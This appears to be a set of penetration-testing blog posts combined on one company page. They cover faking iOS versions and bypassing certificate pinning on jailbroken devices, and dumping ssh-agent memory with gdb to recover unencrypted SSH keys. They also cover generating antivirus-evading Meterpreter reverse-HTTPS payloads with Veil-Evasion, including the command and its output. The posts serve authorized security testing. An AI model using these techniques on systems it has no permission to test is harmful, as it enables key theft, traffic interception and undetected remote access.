Certain iOS applications check for the iOS version number of the device. Recently, during testing of a particular application, I encountered an iOS application that was checking for iOS version 7.1. If version 7.1 was not being used, the application would not install on the device and would throw an error.
This blog is divided into three parts:
Change version number value in SystemVersion.plist file
Change version number value in plist file present in iOS application ipa.
Use ‘iOS-ssl-Kill switch’ tool to bypass certificate validation.
Change version number value in SystemVersion.plist file
The version of the iOS device can be faked (on a jailbroken device) in two simple steps by changing the value in the SystemVersion.plist file:
SSH into a jailbroken device (or use ifile, available on cydia) to browse through the system folder.
Change the ‘ProductVersion’ value in the ‘/System/Library/CoreServices/SystemVersion.plist’ file to the desired iOS version.
Fig 1: iOS version can be faked by changing the value of ProductVersion key.
This will change the version number displayed in version tab located in ‘Settings/General/about’ in the iOS device. Although this trick might work on some of the applications that check for the value saved in the ‘/System/Library/CoreServices/SystemVersion.plist’ file, this trick won’t work on every application. If it fails, we can use the second method given below.
Change version number value in plist file present in iOS application ipa.
If you are unsure about the method that the application is using to look for the version number, then we can use another simple trick to change the value in the iOS version. The version check in an IPA can be faked in three simple steps.
Rename the ipa to .zip file and extract the folder.
Find the info.plist file located usually in Payloadappname.app and change the string ‘minimum ios version’ to the version you need
Zip the file again and change it to ipa. [Note: Some of the applications can also use other plist files instead of the info.plist file to check for minimum version]
Fig 2: MinimumOSVersion requirement defined in info.plist file in the IOS application.
Manipulating any file inside the IPA will break the signature. So, to fix this problem, the IPA would need to be resigned. We can use the tool given here on Christoph Ketzler’s blog.
Some applications also perform the version check during the installation process. When a user tries to install the application using iTunes, or xcode using the IPA, the IPA checks for the version of iOS running on that device and if the version is lower than the minimum required version it will throw an error similar to the one given below.
Fig 3: Error message while installing the application using xcode.
The version check performed during the installation stage can be bypassed using this simple trick:
Rename the .ipa application package to .zip and then extract the .app folder.
Copy the .app folder to the path where iOS applications are installed (/root/application) using an SFTP client like WinSCP.
SSH into the device and browse to the folder where the IPA is installed, then change the permission of the .app folder to executable (chmod -R 755 or chmod -R 777). Alternately you can change the permissions by right clicking the .app in WinSCP, change properties and check all the read, write, and execute permissions.
Restart the iOS device and the application will be successfully installed.
Fig 4: Changing permissions of the IPA to executable.
iOS Certification validation bypass
Some applications perform certification validation. Certification validation is performed to prevent application traffic from being proxied using a MitM proxy like Burp. Typically the application has a client certificate hard coded into the binary (i.e. the application itself). The server checks for this client certificate and if it does not match then it throws a certificate validation error. Refer to my co-worker Steve Kern’s blog on Certificate Pinning in a Mobile Application for further details.
Sometimes it is difficult to extract the certificate from the application and install it into the proxy. An alternative approach is to use a tool developed by iSEC Partners called ios-ssl-kill-switch. This tool hooks into the Secure Transport API, which is the lowest level of API, and disables the check for certificate validation. Most certificate validation techniques use NSURLConnection, which is a higher level API call to validate client certificates. More technical details can be found here.
Bypassing Certificate validation can be performed in the following steps:
Make sure the dependencies given on the installation page are installed prior to the installation of the software.
Restart the device or restart SpringBoard using following command ‘killall -HUP SpringBoard’
Enable the Disable Certificate Validation Option in ‘Settings/SSL Kill Switch’
Restart the application and confirm that a MitM proxy can intercept the traffic successfully.
Certificate pinning can be bypassed by hooking into the API which makes the check for certificate validation and return a true value for certificate validated all the time. Mobilesubstrate is a useful framework for writing tweaks for disabling certificate pinning checks. There are few other handy tools as well, like ‘Trustme’ by Intrepidusgroup and ‘Snoop-it’ by Nesolabs to disable Certificate pinning.
Fig 5: Turn off certificate validation using SSL Kill Switch.
If you’ve ever used SSH keys to manage multiple machines, then chances are you’ve used SSH-agent. This tool is designed to keep a SSH key in memory so that the user doesn’t have to type their passphrase in every time. However, this can create some security risk. A user running as root may have the ability to pull the decrypted SSH key from memory and reconstruct it.
Due to needing root access, this attack may seem useless. For example, an attacker may be able to install a keylogger and use that to obtain the passphrase for the SSH key. However, this causes the attacker to have to wait for the target to type in their passphrase. This might be hours, days, or weeks, depending on how often the target logs out. This is why obtaining the SSH key from memory is vital to pivoting to other machines in a speedy fashion.
A common method of using SSH-agent is running “SSH-agent bash” and then “SSH-add” to add the key to the agent. Once added, the key will stay in the SSH-agent’s stack until the process ends, another key is added, or the user uses the -d or -D option with SSH-add. Most people will run this once and then forget about it until they need to reboot.
Pulling a SSH Key From Memory
There are a few ways to create a copy of the SSH-agents memory. The easiest way is through the use of gdb. Gdb uses the ptrace call to attach to the SSH-agent. This provides gdb with the privileges necessary to create a memory dump of the running process. The grabagentmem.sh script provides a way of automating the dumping of this memory. By default, when it runs it will create a memory dump of the stack for each SSH-agent process. These files are named SSHagent-PID.stack.
root@test:/tmp# grabagentmem.sh Created /tmp/SSHagent-17019.stack
If gdb is not available on the system, then it might be feasible to take a memory dump of the entire machine and use volatility to extract the stack of the SSH-agent processes. However, this process is currently out of the scope for this document.
Parsing SSH Keys From the Memory Dump
Once we have a copy of the stack it becomes possible to extract the key from this file. However, the key is kept in the stack in a different format then the one that was generated by SSH-keygen. This is where the parse_mem.py script comes in handy. This script requires the installation of the pyasn1 python module. Once that is installed the script can be run against the memory file. If that memory file contains a valid RSA SSH key then it will save it to disk. Future versions of the tool may support additional key formats, such as DSA, ECDSA, ED25519, and RSA1.
This key.rsa file can then be used as an argument to the -i switch in SSH. This will act like the original user’s key, only without requiring a pass phrase to unlock it.
Obtaining valid, usable SSH keys can help a penetration tester gain further access into a client’s network. It’s common for keys to be used on both the user’s account, as well as the root account on servers. It is also possible that a server is configured to only allow key access. Having access to an unencrypted key can make moving around the environment much easier.
Veil-Framework is a collection of tools that help with information gathering and post-exploitation. One such tool is Veil-Evasion which is used for creating payloads that can easily bypass Antivirus using known and documented techniques. This is done through an array of encoding schemes that change the signatures of files dramatically enough to avoid standard detection techniques. You can download the framework by visiting the Veil Framework Github.
Generating obfuscated payloads
During penetration tests, if a box has Antivirus installed, dropping and executing simple meterpreter binaries is more than likely going to be caught. In this case, you need to encode the binary. There are a couple of built in encoders in Metasploit (shikata ga nai is the most popular one), but these signatures have been updated in many Antivirus solutions, resulting in detection.
A way to get around this is to use Veil-Evasion. This tool comes with thirty different payloads in C, C#, PowerShell, and Python languages. I almost always use the Python versions, simply because it was the only language in Veil-Evasion that supported Meterpreter reverse HTTPS connections (until recently). This is beneficial for shells because everything will be encrypted with SSL, preventing the commands and results from being transmitted in the clear and potentially being discovered by an IDS or IPS system. Another benefit of using Python is the ability to make contained payloads. This means that all the Meterpreter code needed for the reverse https connection is already included instead of only being a stager that downloads the rest of the code to run.
When you select the Python language within Veil-Evasion, Veil creates executables by utilizing Wine. Specifically, it uses the py2exe and/or pyinstaller for compilation.. If you feel as though the normal encoding isn’t quite enough, you can also use pyherion encoding. The pyherion option causes Veil to AES encrypt the payload with a random key. One of the benefits of Python is that you are able to dynamically execute functions. Using this technique, you can encrypt the source code using AES, then execute the code during runtime by calling the AES decryption function. This randomizes the original source code, making fingerprinting by AV more difficult. However, the decryption function of the code is still static (Exec(AES.new(“…). To solve this problem, the source code is Base64 encoded and wrapped in another exec call to obscure the decrypt function. Veil then obfuscates the required imports for AES and Base64 by using random names. In the end, you are left with dynamic execution of a Base64 encoded, AES encrypted payload which is almost completely randomized per generation. For more information on pyherion, visit the Veil team’s blog.
Veil-Evasion also has command line switches that allow for easy scripting. This makes it dead simple to generate dynamic Veil-encoded Meterpreter payloads. Below is an example of a python reverse_https_contained Meterpreter executable using pyherion encoding being generated through the command line:
root@kali:/# /root/tools/Github/Veil/Veil-Evasion/Veil-Evasion.py -p python/meterpreter/rev_https_contained -c LHOST=127.0.0.1 LPORT=443 use_pyherion=Y --overwrite -o malicious ========================================================================= Veil-Evasion | [Version]: 2.9.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= [*] Executable written to: /root/veil-output/compiled/malicious.exe Language: python Payload: python/meterpreter/rev_https_contained Required Options: LHOST=127.0.0.1 LPORT=443 compile_to_exe=Y inject_method=virtual use_pyherion=Y Payload File: /root/veil-output/source/malicious.py Handler File: /root/veil-output/handlers/malicious_handler.rc [*] Your payload files have been generated, don't get caught! [!] And don't submit samples to any online scanner! 😉
Using this exe, you can now easily execute your Meterpreter code with a very low chance of being caught by AV.
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
YouTube session cookie.
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Discover why security operations teams choose NetSPI.